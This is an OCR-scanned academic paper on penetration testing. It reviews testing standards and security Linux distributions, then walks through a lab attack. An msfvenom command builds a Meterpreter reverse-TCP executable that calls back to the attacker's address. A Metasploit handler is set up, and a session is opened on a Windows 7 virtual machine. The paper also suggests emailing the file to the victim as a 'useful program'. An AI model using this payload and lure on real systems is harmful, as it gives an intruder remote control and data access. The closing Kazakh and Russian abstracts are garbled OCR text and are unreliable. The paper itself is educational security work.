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PENETRATION TESTING

Abstract. Detection of vulnerabilities is an important composite component of both internal and external audit
of information security systems. Potential internal vulnerabilities can be revealed by testing for penetration. At the
same time, both the commercial and being in the free access instruments of penetration test are used differently. The
review of recognized methodologies (standards) of conducting testing for penctration is made. The list of free
distribution kits of instruments of penetration test is provided. One of the widespread attacks is BackDoor allowing
to receive control over the attacked system. With the help of the utility of Msfvenom which is a part of a free
distribution kit of penetration test Kali Linux with methodology of PTES the attack of BackDoor by implementation
of an exploit is successfully realized. Control over the attacked virtual machine was as a result received.

Keywords: vulnerabilities, penetration testing methodology, BackDoor attacks.

Introduction. Now there was the standard international practice of support of the mode of the in-
formation security (IS), one of the stages of which is audit of the IS systems. Existence of management
system of IS (Information Security Management), and in particular audit of management system of IS
(Risk Management), is an indispensable condition of the organization of the IS mode at the enterprise.

IS audit is carried out by a team of security experts of enterprise systems and experts in the ficld of
management. One of the methods in case of the active audit of information security systems is testing for
penetration. Testing for penetration - the valuation method of safety of computer systems or networks
simulars of the attack of the malefactor (ethic hacking - ethical hacking). Testing for penetration is an
mtegral part of the analysis of security of any information resource. The authorized search of vulnerabi-
lities of protection system is execute and their subsequent use for penetration into subject to protection.
The purpose of penetration test is independent assessment and the expert opinion on a status of security of
the critical information. The recommendations about closing (elimination) of the found vulnerabilities are
whenever possible formulated. As a result, security concerns which need to be solved urgently come to
light. There is a certification of CHE (Certified Ethical Hacker) for experts in the field of conducting
testing for penetration which is recognized around the world today and confirms existence of appropriate
level of knowledge. The certified examination of EC-Council CEH approved by the U.S. Department of
Defense is one of recognized for experts of IT safety. State structures of the USA require existence of this
certificate for certain positions of IS that once again emphasizes importance of penetration test as
instrument of the active audit.

Methods. There are several recognized techniques (standards) of conducting penetration test:
Payment Card Industry Data Security Standard — PCI DSS (Penetration Test Guidance, methodology of
Special Interest Group PCI Security Standards Council), OSSTMM (Open Source Security Testing
Methodology Manual), NIST Special Publications 800-115 Technical Guide to Information Security
Testing and Assessment (NIST methodology, CSRC subdividing), Study A Penetration Testing Model
(BSI methodology, the German subdividing of Federal Office for Information Security), ISSAF (Infor-
mation System Security Assessment Framework, methodology of Open Information Systems Security
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Group), OWASP Testing Guide (methodology of Open Web Application Security Project), PTES
Technical Guidelines (Penetration Testing Execution Standard), methodology of Deloitte [1-8].

The offered methodologies differ on steps of conducting testing, types of testing for penetration,
detailing of testing objects, determination of testing procedures, the description of utilities for conducting
testing, a formulating, structure, a detail of description of a technique and purposes of penetration testing.

PCI DSS is oriented on a penetration testing for the organizations which processing, storing and
transferring data of card owners. OSSTMM is one of the first techniques of complex testing of infor-
mation security of the organization. In methodology of NIST different recommendations about testing
types are described, there is in the separate document an operation methodology with a fire-wall (NIST SP
800-41 Guideline on Firewalls and Firewall Policy). The detailed methodology of BSI provides both
technical and organizational aspects of testing, and legal aspects. ISSAF describes assessment of safety of
fire-walls, routers, anti-virus systems and many other things. Methodologies of PTES and OWASP are
well structured therefore they are widely used when testing for penetration. PTES is model which was
used in the system of a penetration testing Rapid7 Metasploit.

Tools. Penetration test is subdivided on external and internal. External infrastructure penetration test
is an analysis of perimeter from the Internet. The expert makes attempts, trying to compromise available
network services and to develop the attack which main goal is to get in system. Internal infrastructure
penetration test is a simulation of action of the insider. As the insider the infected node in a network can
appear.

In turn external penetration test is conditionally divided into categories: network scanners, scanners in
web scripts, exploits, automation of injections, debugger. There are both separate programs, and distri-
bution kits (commercial and free) for conducting testing for penetration.

Usually distribution kits represent the processed versions existing Linux distribution kits.

The most known of them which are in the free access [9]:

- BlackArch Linux, a distribution kit is based on Arch Linux. Includes 1359 utilities for testing for
penetration, it is intended for professionals, maintains architecture of 1686 and x86 64;

- Parrot Security OS, is based on Debian Linux, the easy and effective testing tool on penetration, idle
time in mastering;

- BackBox, is based on Ubuntu Linux, is convenient for private use, and has rather good functionality
for daily use;

- Pentoo, is based on Gentoo Linux, contains a set of security-utilities;

- Network Security Toolkit, is based on Fedora Linux, intended for the analysis of safety of a net-
work, gives simple access to a wide set of the opened network applications, many of which are included in
one hundred the best security aids recommended by the website insecure.org;

- DEFT Linux, is founded on Lubuntu, has the convenient graphic interface, includes antiviruses, the
systems of information search in a browser cache, network scanners and utilities for detection of rootkits,
tools for search of the hidden data on a disk;

- Samurai Web Security Framework is intended for testing for penetration of different web
applications. It is delivered in the form of an image of the virtual machine which contains the most po-
pular Open Source of the utility for information collection and carrying out different attacks to web
applications;

- Santoku Linux, is based on Ubuntu Linux. It is intended for the analysis of mobile devices and
applications: carrying out the analysis of safety, extraction of data, the reverse engineering, forensic, also
contains development tools. It is provided only for the X64 platform;

- WifiSlax, is based on Slackware Linux, intended for check of safety of the WiFi networks systems
and carrying out the criminalist analysis. It is used for audit of Wi-Fi of networks as the majority of
popular utilities for the analysis of security of wireless networks are included in it, maintains the majority
creates network interface cards;

- Kali Linux, is based on Debian Linux, includes more than 600 security-utilities (Wireshark, Nmap,
Armitage, Aircrack, Burp Suite, etc.) and multilingual support. There are several types of this distribution
kit for different platforms: x86 and ARM systems, systems of virtualization, mobile platforms (Kali Net
hunter).

— ) ——
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Results. Kali Linux — the most popular and advanced distribution kit for conducting testing for
penetration and security audit today [10]. The special kernel of Kali Linux is protected from injections that
allows to book audit of wireless networks safely. Kali Linux maintains a large number of wireless devices,
is compatible to USB and other wireless devices.

In [11] risks and threats of virtualization and results of detection of vulnerabilities of the virtual
machines by port scanning by means of the utility of Wireshark from the Kali Linux distribution kit were
presented.

Also the utility of Msfvenom is a Kali Linux part by means of which it is possible to realize the attack
of BackDoor, having created an exploit. Successfully realized attack of BackDoor allows to implement on
the attacked computer the small program through which it is possible to collect confidential data, to
control far off an operating system and the computer in general, to use the cracked computer for scanning
of a network, carrying out network attacks of network hacking. Usually in case of this attack two
programs are used. The program of control is installed on the computer of the tester and controls other
program which is illegally set on the attacked computer.

The exploit uses vulnerabilities of the attacked system to violation of its safety. There is an open
database of exploits (The Exploit Database) and the appropriate vulnerable software. The basis is created
and supported for testers on penetration and researchers of vulnerabilities. There are also closed databases
i which the most interesting exploits are collected. Access to them can be or paid, or for a certain circle
of people. To one of examples can serve the tool for testing for penctration — Metasploit Exploitation
Framework. It contains a big basis of exploits. There are two Metasploit versions, free and paid. There are
websites on search of exploits, such as The Exploit Database, WPScan Vulnerability Database (a fresh
basis of exploits for WordPress) and Packet Storm (the most different fresh exploits).

With the help of the utility of Msfvenom which is a part of a free distribution kit of penetration test
Kali Linux with methodology of PTES the attack of BackDoor was organized. As attacked the virtual
machine was used. With the help of Msfvenom the special program - an exploit (exploit) with the .exe
format is created. Implementation of this program in the attacked computer, gives to the malefactor access
to the virtual machine and means of the user.

During creation of an exploit it is necessary to specify the IP address of the attacking machine, the
port and the place of saving the file of an exploit in the attacking machine. To learn the IP address, it is
possible to use the ifconfig command. This command will issue information on a configuration of the
attacking machine, including the IP address - 192.168.209.138 (figure 1).

root@Kkali: ~ e 00

@ain  [paska Bwo [Mowck TepmuHan Cnpaska

:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.209.138 netmask 255.255.255.0 broadcast 192.168.209.255
inet6 feB80::20c:297f:feal:84b0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:al1:84:b0 txqueuelen 1000 (Ethernet)

RX packets 40750 bytes 28056322 (26.7 MiB)

RX errors @ dropped @ overruns @ frame @

TX packets 8355 bytes 755490 (737.7 KiB)

TX errors 0 dropped @ overruns @ carrier @ collisions @

Figure 1 — Configuration of hacking machine

We use data retrieved during creation of an exploit: we specify the IP address of the attacking
machine (192.168.209.138), the port (5566), the place of saving and file name of an exploit (attack.exe).
The exploit is created on the x86 platform, file size 73802 bytes (figure 2).

After creation of an exploit we will send it to the virtual machine Windows 7 via the Internet. For
example, through e-mail, explaining attacked that it is the useful program.

Further on the attacking machine we will launch metasploit framework (figure 3).

Then we register the IP address of the attacking machine and on what port there will be a connection
with the implemented exploit (figure 4).

Attacked launches an exploit by the machine, thinking that it is the useful program.
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:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.209.138
LPORT=5566 - exe > /root/attack.exe
No platform was selected, choosing Msf::Module::Platform: :Windows from the pay
JGED

No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes

Final size of exe file: 73802 bytes

< » || <« 1 [oMawHsa nanka opt P Q|| @ O @

e = m— =

{0 HepasHue *i‘/* B D @

attack.exe opt Buoeo [okyMeHTHl  3arpyskm

Figure 2 — Creation of exploit

metasploit framework
Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ met vd.12.22 ]
--=[ 1577 exploits - 906 auxiliary - 272 post 1
--=[ 455 payloads - 39 encoders - 8 nops ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Figure 3 — Start of metasploit framework

> use exploit/multi/handler
ploit( ) = set LHOST 192.168.209.138
- 192.168.209.138
oit( ) = set LPORT 5566
=> 5566

Figure 4 — Configuration of linking with exploit
msf exploit( ) = exploit

[*] Started reverse TCP handler on 192.168.209.138:5566

[*] Starting the payload handler...

[*] Sending stage (957999 bytes) to 192.168.209.134

[*] Meterpreter session 1 opened (192.168.209.138:5566 -> 192.168.209.134:1369)
at 2017-03-04 12:57:20 +0600

meterpreter =
Figure 5 — Link with exploit

meterpreter > sysinfo

Computer : WIN-VIC3SADSGT7R

0s : Windows 7 (Build 7601, Service Pack 1}.
Architecture : x64 (Current Process is WOW64)

System Language : ru RU

Domain : WORKGROUP
Logged On Users : 2
Meterpreter : X86/win32
meterpreter >

Figure 6 — Messages from exploit

— ) ——
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By this time by the attacking machine it is necessary to open a session of connection with an exploit
(figure 5).

Now the virtual machine under monitoring of the attacking machine (figure 6).

Conclusion. Innovation, organization, and sophistication - these are the tools of cyber attackers as
they work harder and more efficiently to uncover new vulnerabilities [12]. With the help of testing for
penetration it is possible to be ahead of malefactors, having revealed and having eliminated vulnerabilities
before real cyber-attack. Now penetration test is a mandatory component of both internal and external
audit. Free products of penetration testing are easy to use. They allow identifying vulnerabilities on the
channel, network and transport levels, having built-in expert systems. When solving problems at the
application level, these products unusable. In this case necessary to use commercial solutions (commercial
versions Nessus and Rapid 7 NeXpose, Xspider 7, Retina Nenwork Security Scanner, SAINT and etc.)
[13-16]. Commercial products of the penctration testing use more advanced technologies and have
extended capabilities compared to free ones. This provides additional opportunities in assessing risks and
threats. Penetration testing should be performed on both the channel, network and transport layers, and at
the application level.
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E. K. Aiitxoxxaesa’, A. A. 3upo’, XK. A. KaiiGeprenona', A. F. Barragaii®

'K. U. Cot6aeB aremaarsl Kasak yITTHIK TEXHHKAIBIK 3€pTTEy YHABEpCHTETI, Amvatsl, KazakcTan,
*Conrycrik KbITait 37eKTpO3HEPreTHRABIK YHHBEpCHTETi, Ilexun, KXP

EHYTE TECTLIEY

Annortamust. OcaxabIKTapabl AaHBIKTAY — AKMAPATTHIK KayiNCi3Aik >KyHENepiHIH 1MIKi KOHE CBHIPTKBI ay IUTiHIH
MaHBI3IBI Kypamaac Oemiri OomsIm TaObLIaAbl. OJICYCTTI MK OCANABIKTAPABI CHYTC TCCTLACY apKBLIBI AHBIKTAYFa
Oomamer (pentest). by perre, opTypIi KOMMEPUHANBIK, COHIAN-aK MCHTCCTTIH CPKIH KOJ KCTIMAIL KYpalaapsl mak-
JANaHeIAaEl. EHyTC TECTiNCY JKYPri3ydiH TAHBUFAH OMICTCMEICPIHE (CTAHAAPTTAPBIHA) MOy Kyprisiaai. [IleHTecTt
KYPaIAapbIHbIH TETIH TUCTPHOYTHBTEPIHIH Ti3iMi KenrtipinreH. Kewn TaparaH maOybsDigapabiH Oipi — malyblmFa
YIIBIPaFaH >KyHeHi Oakpuiayra MyMKiHIIk Oeperin BackDoor maOysuist. [TenrectTin Terin auctpuOytusi Kali Linux
KypambIHa KipeTin Msfvenom yrmmmraceHbH kemeriMeH PTES oxiciTemMeci OOMBIHINA SKCIUIOWTTHI CHTI3Y apKbLIBI
BackDoor ma0ybursl icke acwipansl. HoTmwkecinae, madysIIIasFaH BUPTY Akl MANIHHA OAKBLIAYFA AITBIH/IBL.

Tyiiin ce3aep: ocanapIKTap, eHyTe TecTitey axictemenepi, BackDoor madypuimapsl.

E. K. Aiitxoxxaesa’, A. A. 3upo’, XK. A. KaiiGeprenona', A. T'. Basrragaii®

'Kasaxckuit HALMOHATBHBIH HCCICI0BATEILCKHH TCXHHUCCKHI yausepcurer uM. K. M. Carnacsa,
AmvaTsr, Kazaxcran,
*CeBepo-KUTAHCKHIT 3IEKTPOSHEPreTHUCCKui yHuBepcHTeT, [lekun, KHP

TECTHUPOBAHHUE HA TIPOHUKHOBEHHUE

AnnoTanusi. BUIBICHHE VA3BUMOCTEH SIBILIETCS BAKHOM COCTABHON KOMIIOHCHTOH KaK BHYTPEHHETO, TaK M
BHEIITHETO ayAMTa CHCTEM HH(OPMAIMOHHOW Oe30macHOCTH. [IoTeHIMANbHBIC BHY TPCHHHE YSI3BHMOCTH MOTYT OBITh
BBUIBJICHBI TCCTUPOBAHUEM HA MPOHUKHOBEHUE (MIEHTECT). [IpH 3TOM HCHOIB3YIOTCS PA3IMUHBIE KAK KOMMEPUYECKUE,
TaK W HAXOJAIIHMECS B CBOOOJHOM JOCTYIIE MHCTPYMEHTHI IeHTecTa. CraemaH 0030p NMPHU3HAHHBIX METOMOJIOTHH
(cTaHZapTOB) NMPOBEACHU TCCTHPOBAHMI HA NMPOHUKHOBCHME. [IpHBOIUTCS MEPEUCHb OCCINIATHBIX AUCTPHOYTHBOB
HHCTPYMEHTOB meHTecTa. OJHOM W3 PACIPOCTPAHEHHBIX aTak SBIETCS ataka BackDoor, mo3BossIomas Moy yuTh
KOHTPOJIb HAZA arakyeMoH cucreMor. C momormbio yTuimTel Msfvenom, Bxoasmeil B cocraB OeCIDIaTHOTO AUCTPH-
oyrusa nertecta Kali Linux, mo meroaosnorun PTES peanm3oBana ataka BackDoor myTeM BHEAPSHHA SKCIUTONTa. B
pe3yapTare OBLT MOIVICH KOHTPOJIb HAX aTAKYCMOH BUPTYATBHOM MATITHHOM.

Kimo1ueBnbie c/1oBa: yI3BUMOCTH, METOIOJIOTHH TECTHPOBAHMS HA TPOHUKHOBEHME, aTaku BackDoor.
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